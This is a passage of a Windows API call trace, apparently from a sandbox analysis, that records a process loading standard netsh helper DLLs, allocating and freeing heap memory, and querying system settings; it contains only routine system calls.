[0251.399] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3ee070 | out: hHeap=0x3d0000) returned 1 [0251.400] LoadLibraryW (lpLibFileName="RASMONTR.DLL") returned 0x7fef9270000 [0251.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2471a0 | out: lpSystemTimeAsFileTime=0x2471a0*(dwLowDateTime=0x1b7b4b60, dwHighDateTime=0x1d696f4)) [0251.567] GetCurrentProcessId () returned 0x248 [0251.567] GetCurrentThreadId () returned 0x74c [0251.567] GetTickCount () returned 0x114a1cc [0251.567] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x2471a8 | out: lpPerformanceCount=0x2471a8*=17878449843) returned 1 [0251.567] LoadLibraryA (lpLibFileName="MSVCRT.DLL") returned 0x7fefddb0000 [0251.568] GetVersion () returned 0x1db10106 [0251.568] SetErrorMode (uMode=0x0) returned 0x0 [0251.568] SetErrorMode (uMode=0x8001) returned 0x0 [0251.568] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x3f61c0 [0251.568] LocalFree (hMem=0x3f61c0) returned 0x0 [0251.568] GetVersion () returned 0x1db10106 [0251.570] GlobalLock (hMem=0xb30008) returned 0x3f61c0 [0251.570] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x3f63e0 [0251.570] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x3f4f10 [0251.570] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x3f4280 [0251.570] malloc (_Size=0x100) returned 0x6c7c90 [0251.570] __dllonexit () returned 0x7fef91d621c [0251.571] __dllonexit () returned 0x7fef91d66e0 [0251.571] __dllonexit () returned 0x7fef91d72b8 [0251.571] __dllonexit () returned 0x7fef91d87cc [0251.571] __dllonexit () returned 0x7fef91d8d64 [0251.571] __dllonexit () returned 0x7fef91d8db4 [0251.571] __dllonexit () returned 0x7fef91d8e70 [0251.571] __dllonexit () returned 0x7fef91da308 [0251.572] __dllonexit () returned 0x7fef91d8810 [0251.572] __dllonexit () returned 0x7fef91e7598 [0251.572] __dllonexit () returned 0x7fef91d8880 [0251.572] __dllonexit () returned 0x7fef91da170 [0251.572] __dllonexit () returned 0x7fef91da280 [0251.572] __dllonexit () returned 0x7fef91dad44 [0251.572] __dllonexit () returned 0x7fef91dbc30 [0251.572] __dllonexit () returned 0x7fef91dbc80 [0251.573] __dllonexit () returned 0x7fef91dc338 [0251.573] __dllonexit () returned 0x7fef91dd030 [0251.573] __dllonexit () returned 0x7fef91d59cc [0251.573] __dllonexit () returned 0x7fef91d59f0 [0251.573] __dllonexit () returned 0x7fef91d5a1c [0251.585] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc0f3 [0251.586] __dllonexit () returned 0x7fef91e7568 [0251.586] __dllonexit () returned 0x7fef91e7574 [0251.586] __dllonexit () returned 0x7fef91e7580 [0251.587] __dllonexit () returned 0x7fef91e758c [0251.587] GetVersion () returned 0x1db10106 [0251.587] GetVersion () returned 0x1db10106 [0251.587] GetVersion () returned 0x1db10106 [0251.587] __dllonexit () returned 0x7fef913a15c [0251.587] __dllonexit () returned 0x7fef9146610 [0251.587] __dllonexit () returned 0x7fef91d8910 [0251.587] __dllonexit () returned 0x7fef91d8b90 [0251.587] __dllonexit () returned 0x7fef91d8bb4 [0251.587] __dllonexit () returned 0x7fef9156ae0 [0251.588] GetVersion () returned 0x1db10106 [0251.588] GetProcessVersion (ProcessId=0x0) returned 0x60001 [0251.588] GetSystemMetrics (nIndex=11) returned 32 [0251.588] GetSystemMetrics (nIndex=12) returned 32 [0251.588] GetSystemMetrics (nIndex=2) returned 17 [0251.588] GetSystemMetrics (nIndex=3) returned 17 [0251.588] GetDC (hWnd=0x0) returned 0x170106d7 [0251.589] GetDeviceCaps (hdc=0x170106d7, index=88) returned 96 [0251.589] GetDeviceCaps (hdc=0x170106d7, index=90) returned 96 [0251.589] ReleaseDC (hWnd=0x0, hDC=0x170106d7) returned 1 [0251.589] GetSysColor (nIndex=15) returned 0xf0f0f0 [0251.589] GetSysColor (nIndex=16) returned 0xa0a0a0 [0251.589] GetSysColor (nIndex=20) returned 0xffffff [0251.589] GetSysColor (nIndex=18) returned 0x0 [0251.589] GetSysColor (nIndex=6) returned 0x646464 [0251.589] GetSysColorBrush (nIndex=15) returned 0x1100059 [0251.589] GetSysColorBrush (nIndex=6) returned 0x1100061 [0251.589] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0251.589] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0251.589] __dllonexit () returned 0x7fef91d8f84 [0251.589] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0f5 [0251.589] __dllonexit () returned 0x7fef9163990 [0251.590] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0251.590] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0251.590] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0251.590] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0251.590] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0251.590] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0251.590] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0251.590] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0251.590] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0251.590] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0251.590] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0b2 [0251.590] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0b8 [0251.590] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0f5 [0251.591] __dllonexit () returned 0x7fef91e75a4 [0251.591] __dllonexit () returned 0x7fef91e75bc [0251.591] __dllonexit () returned 0x7fef91e75c8 [0251.591] __dllonexit () returned 0x7fef91e75d4 [0251.591] __dllonexit () returned 0x7fef91e75e0 [0251.592] GetCursorPos (in: lpPoint=0x7fef92426d8 | out: lpPoint=0x7fef92426d8*(x=912, y=896)) returned 1 [0251.592] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x3f6730 [0251.592] LocalReAlloc (hMem=0x3f4280, uBytes=0x18, uFlags=0x2) returned 0x3f6840 [0251.593] GetCurrentThread () returned 0xfffffffffffffffe [0251.593] GetCurrentThreadId () returned 0x74c [0251.593] __dllonexit () returned 0x7fef91dcfa4 [0251.593] SetErrorMode (uMode=0x0) returned 0x8001 [0251.593] SetErrorMode (uMode=0x8001) returned 0x0 [0251.593] GetModuleFileNameW (in: hModule=0x7fef9120000, lpFilename=0x246890, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0251.593] wcscpy_s (in: _Destination=0x246aa0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0251.594] FindResourceW (hModule=0x7fef9120000, lpName=0xe01, lpType=0x6) returned 0x1409b0 [0251.594] LoadStringW (in: hInstance=0x7fef9120000, uID=0xe000, lpBuffer=0x246cb0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0251.595] wcscpy_s (in: _Destination=0x2468c4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0251.595] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0251.596] malloc (_Size=0x80) returned 0x6c7ea0 [0251.596] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x3f6860 [0251.596] GetSystemDirectoryA (in: lpBuffer=0x246f30, uSize=0x112 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0251.596] strcat_s (in: _Destination="C:\\Windows\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\Windows\\system32\\MFC42") returned 0x0 [0251.596] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\Windows\\system32\\MFC42LOC") returned 0x0 [0251.596] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\Windows\\system32\\MFC42LOC.DLL") returned 0x0 [0251.596] LoadLibraryExA (lpLibFileName="C:\\Windows\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0251.598] GetProcAddress (hModule=0x7fef9270000, lpProcName="InitHelperDll") returned 0x7fef928cf70 [0251.599] InitHelperDll () returned 0x0 [0251.599] RegisterHelper () returned 0x0 [0251.599] GetProcessHeap () returned 0x3d0000 [0251.599] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x108) returned 0x3f8970 [0251.599] GetProcessHeap () returned 0x3d0000 [0251.600] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3eeb10 | out: hHeap=0x3d0000) returned 1 [0251.600] RegisterHelper () returned 0x0 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x160) returned 0x3f8a80 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8970 | out: hHeap=0x3d0000) returned 1 [0251.600] RegisterHelper () returned 0x0 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1b8) returned 0x3f8bf0 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8a80 | out: hHeap=0x3d0000) returned 1 [0251.600] RegisterHelper () returned 0x0 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x210) returned 0x3f8970 [0251.600] GetProcessHeap () returned 0x3d0000 [0251.600] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8bf0 | out: hHeap=0x3d0000) returned 1 [0251.601] RegisterHelper () returned 0x0 [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x268) returned 0x3f8b90 [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8970 | out: hHeap=0x3d0000) returned 1 [0251.601] RegEnumValueW (in: hKey=0x90, dwIndex=0x1, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="nshwfp", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.601] _wcsicmp (_String1="nshwfp.dll", _String2="ipxmontr.dll") returned 5 [0251.601] _wcsicmp (_String1="nshwfp.dll", _String2="ipxpromn.dll") returned 5 [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x78) returned 0x3f8970 [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xe) returned 0x3f4280 [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x16) returned 0x3f42a0 [0251.601] _wcsupr (in: _String="nshwfp.dll" | out: _String="NSHWFP.DLL") returned="NSHWFP.DLL" [0251.601] GetProcessHeap () returned 0x3d0000 [0251.601] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f47d0 | out: hHeap=0x3d0000) returned 1 [0251.601] LoadLibraryW (lpLibFileName="NSHWFP.DLL") returned 0x7fef4a30000 [0251.610] GetProcAddress (hModule=0x7fef4a30000, lpProcName="InitHelperDll") returned 0x7fef4a9b6d0 [0251.610] InitHelperDll () returned 0x0 [0251.610] RegisterHelper () returned 0x0 [0251.610] GetProcessHeap () returned 0x3d0000 [0251.610] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2c0) returned 0x402db0 [0251.610] GetProcessHeap () returned 0x3d0000 [0251.610] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8b90 | out: hHeap=0x3d0000) returned 1 [0251.610] RegEnumValueW (in: hKey=0x90, dwIndex=0x2, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="dhcpclient", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.610] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5 [0251.610] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5 [0251.610] GetProcessHeap () returned 0x3d0000 [0251.610] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xa0) returned 0x3f8b90 [0251.610] GetProcessHeap () returned 0x3d0000 [0251.610] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x16) returned 0x3f42c0 [0251.610] GetProcessHeap () returned 0x3d0000 [0251.611] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x22) returned 0x3f91f0 [0251.611] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL" [0251.611] GetProcessHeap () returned 0x3d0000 [0251.611] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8970 | out: hHeap=0x3d0000) returned 1 [0251.611] LoadLibraryW (lpLibFileName="DHCPCMONITOR.DLL") returned 0x7fef9110000 [0251.635] GetProcAddress (hModule=0x7fef9110000, lpProcName="InitHelperDll") returned 0x7fef9111a40 [0251.635] InitHelperDll () returned 0x0 [0251.636] RegisterHelper () returned 0x0 [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x318) returned 0x407d80 [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x402db0 | out: hHeap=0x3d0000) returned 1 [0251.636] RegEnumValueW (in: hKey=0x90, dwIndex=0x3, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="wshelper", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.636] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14 [0251.636] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14 [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc8) returned 0x402db0 [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x405530 [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x403530 [0251.636] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL" [0251.636] GetProcessHeap () returned 0x3d0000 [0251.636] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3f8b90 | out: hHeap=0x3d0000) returned 1 [0251.636] LoadLibraryW (lpLibFileName="WSHELPER.DLL") returned 0x7fef90e0000 [0251.640] GetProcAddress (hModule=0x7fef90e0000, lpProcName="InitHelperDll") returned 0x7fef90e1720 [0251.640] InitHelperDll () returned 0x0 [0251.648] RegisterHelper () returned 0x0 [0251.648] GetProcessHeap () returned 0x3d0000 [0251.648] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x370) returned 0x408af0 [0251.648] GetProcessHeap () returned 0x3d0000 [0251.648] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x407d80 | out: hHeap=0x3d0000) returned 1 [0251.648] RegEnumValueW (in: hKey=0x90, dwIndex=0x4, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="nshhttp", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.648] _wcsicmp (_String1="nshhttp.dll", _String2="ipxmontr.dll") returned 5 [0251.648] _wcsicmp (_String1="nshhttp.dll", _String2="ipxpromn.dll") returned 5 [0251.648] GetProcessHeap () returned 0x3d0000 [0251.648] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xf0) returned 0x408e70 [0251.649] GetProcessHeap () returned 0x3d0000 [0251.649] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x405550 [0251.649] GetProcessHeap () returned 0x3d0000 [0251.649] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x405570 [0251.649] _wcsupr (in: _String="nshhttp.dll" | out: _String="NSHHTTP.DLL") returned="NSHHTTP.DLL" [0251.649] GetProcessHeap () returned 0x3d0000 [0251.649] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x402db0 | out: hHeap=0x3d0000) returned 1 [0251.649] LoadLibraryW (lpLibFileName="NSHHTTP.DLL") returned 0x7fef90d0000 [0251.652] GetProcAddress (hModule=0x7fef90d0000, lpProcName="InitHelperDll") returned 0x7fef90d1c24 [0251.652] InitHelperDll () returned 0x0 [0251.652] RegisterHelper () returned 0x0 [0251.652] GetProcessHeap () returned 0x3d0000 [0251.652] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x3c8) returned 0x408f70 [0251.652] GetProcessHeap () returned 0x3d0000 [0251.652] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408af0 | out: hHeap=0x3d0000) returned 1 [0251.652] RegEnumValueW (in: hKey=0x90, dwIndex=0x5, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="fwcfg", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.653] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3 [0251.653] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3 [0251.653] GetProcessHeap () returned 0x3d0000 [0251.653] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x118) returned 0x407d80 [0251.653] GetProcessHeap () returned 0x3d0000 [0251.653] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x405590 [0251.653] GetProcessHeap () returned 0x3d0000 [0251.653] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x4055b0 [0251.653] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL" [0251.653] GetProcessHeap () returned 0x3d0000 [0251.653] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408e70 | out: hHeap=0x3d0000) returned 1 [0251.653] LoadLibraryW (lpLibFileName="FWCFG.DLL") returned 0x7fef8390000 [0251.658] GetProcAddress (hModule=0x7fef8390000, lpProcName="InitHelperDll") returned 0x7fef8392d20 [0251.658] InitHelperDll () returned 0x0 [0251.658] RegisterHelper () returned 0x0 [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x420) returned 0x408af0 [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408f70 | out: hHeap=0x3d0000) returned 1 [0251.658] RegEnumValueW (in: hKey=0x90, dwIndex=0x6, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="authfwcfg", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.658] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8 [0251.658] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8 [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x140) returned 0x408f20 [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x4055f0 [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1c) returned 0x4086a0 [0251.658] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL" [0251.658] GetProcessHeap () returned 0x3d0000 [0251.658] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x407d80 | out: hHeap=0x3d0000) returned 1 [0251.658] LoadLibraryW (lpLibFileName="AUTHFWCFG.DLL") returned 0x7fef5040000 [0251.665] GetProcAddress (hModule=0x7fef5040000, lpProcName="InitHelperDll") returned 0x7fef5045d20 [0251.665] InitHelperDll () returned 0x0 [0251.667] RegisterHelper () returned 0x0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x478) returned 0x4107d0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408af0 | out: hHeap=0x3d0000) returned 1 [0251.667] RegisterHelper () returned 0x0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4d0) returned 0x410c50 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4107d0 | out: hHeap=0x3d0000) returned 1 [0251.667] RegisterHelper () returned 0x0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x528) returned 0x411130 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x410c50 | out: hHeap=0x3d0000) returned 1 [0251.667] RegisterHelper () returned 0x0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x580) returned 0x4107d0 [0251.667] GetProcessHeap () returned 0x3d0000 [0251.667] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x411130 | out: hHeap=0x3d0000) returned 1 [0251.667] RegisterHelper () returned 0x0 [0251.668] GetProcessHeap () returned 0x3d0000 [0251.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x5d8) returned 0x410d60 [0251.668] GetProcessHeap () returned 0x3d0000 [0251.668] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4107d0 | out: hHeap=0x3d0000) returned 1 [0251.668] RegEnumValueW (in: hKey=0x90, dwIndex=0x7, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="2", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.668] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0251.668] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0251.668] GetProcessHeap () returned 0x3d0000 [0251.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x168) returned 0x409070 [0251.668] GetProcessHeap () returned 0x3d0000 [0251.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3f8bb0 [0251.668] GetProcessHeap () returned 0x3d0000 [0251.668] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x14) returned 0x410200 [0251.684] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0251.685] GetProcessHeap () returned 0x3d0000 [0251.685] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408f20 | out: hHeap=0x3d0000) returned 1 [0251.685] LoadLibraryW (lpLibFileName="IFMON.DLL") returned 0x7fef75c0000 [0251.701] GetProcAddress (hModule=0x7fef75c0000, lpProcName="InitHelperDll") returned 0x7fef75c1924 [0251.701] InitHelperDll () returned 0x0 [0251.701] RegisterHelper () returned 0x0 [0251.701] GetProcessHeap () returned 0x3d0000 [0251.701] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x630) returned 0x412c10 [0251.702] GetProcessHeap () returned 0x3d0000 [0251.702] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x410d60 | out: hHeap=0x3d0000) returned 1 [0251.702] RegEnumValueW (in: hKey=0x90, dwIndex=0x8, lpValueName=0x3f4260, lpcchValueName=0x2477a0, lpReserved=0x0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8 | out: lpValueName="netiohlp", lpcchValueName=0x2477a0, lpType=0x0, lpData=0x3ee0a0, lpcbData=0x2477e8) returned 0x0 [0251.702] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5 [0251.702] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5 [0251.702] GetProcessHeap () returned 0x3d0000 [0251.702] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x190) returned 0x408af0 [0251.702] GetProcessHeap () returned 0x3d0000 [0251.702] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x12) returned 0x410320 [0251.702] GetProcessHeap () returned 0x3d0000 [0251.702] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x1a) returned 0x411a30 [0251.702] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL" [0251.702] GetProcessHeap () returned 0x3d0000 [0251.702] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x409070 | out: hHeap=0x3d0000) returned 1 [0251.702] LoadLibraryW (lpLibFileName="NETIOHLP.DLL") returned 0x7fef4ba0000 [0251.709] GetProcAddress (hModule=0x7fef4ba0000, lpProcName="InitHelperDll") returned 0x7fef4bbce30 [0251.709] InitHelperDll () returned 0x0 [0251.709] RegisterHelper () returned 0x0 [0251.709] GetProcessHeap () returned 0x3d0000 [0251.709] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x688) returned 0x408c90 [0251.709] GetProcessHeap () returned 0x3d0000 [0251.709] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x412c10 | out: hHeap=0x3d0000) returned 1 [0251.709] RegisterHelper () returned 0x0 [0251.709] GetProcessHeap () returned 0x3d0000 [0251.709] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6e0) returned 0x412c10 [0251.709] GetProcessHeap () returned 0x3d0000 [0251.709] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x408c90 | out: hHeap=0x3d0000) returned 1 [0251.709] RegisterHelper () returned 0x0 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x738) returned 0x413300 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x412c10 | out: hHeap=0x3d0000) returned 1 [0251.710] RegisterHelper () returned 0x0 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x790) returned 0x413a40 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x413300 | out: hHeap=0x3d0000) returned 1 [0251.710] RegisterHelper () returned 0x0 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x7e8) returned 0x4141e0 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x413a40 | out: hHeap=0x3d0000) returned 1 [0251.710] RegisterHelper () returned 0x0 [0251.710] GetProcessHeap () returned 0x3d0000 [0251.710] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x840) returned 0x412c10 [0251.711] GetProcessHeap () returned 0x3d0000 [0251.711] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x4141e0 | out: 